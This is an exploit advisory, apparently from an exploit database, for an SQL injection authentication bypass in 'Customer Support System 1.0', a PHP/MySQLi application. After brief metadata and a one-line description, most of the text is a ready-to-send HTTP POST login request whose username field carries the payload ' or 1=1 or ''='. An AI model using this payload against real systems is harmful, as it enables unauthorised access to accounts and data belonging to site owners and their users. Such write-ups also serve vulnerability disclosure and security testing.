Customer Support System 1.0 - 'username' Authentication Bypass

# Title: Customer Support System 1.0 - 'username' Authentication Bypass
# Date: 2020-11-11
# Exploit Author: Ahmed Abbas
# Vendor Homepage: https://www.sourcecodester.com/php/14587/customer-support-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14587&title=Customer+Support+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 7.4.4


# Description :  Authentication Bypass
# Vulnerability Details:
[+] A SQL injection vulnerability in Customer Support System 1.0  allows remote unauthenticated attackers to bypass the authentication process via username and password parameters.
 

# Malicious POST Request to https://TARGET
POST /customer_support/ajax.php?action=login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 62
Origin: http://localhost
Connection: close
Referer: http://localhost/customer_support/login.php
Cookie: PHPSESSID=gbattc1r1riap25kr5k2k1ureo

username=' or 1=1 or ''='&password=password&type=1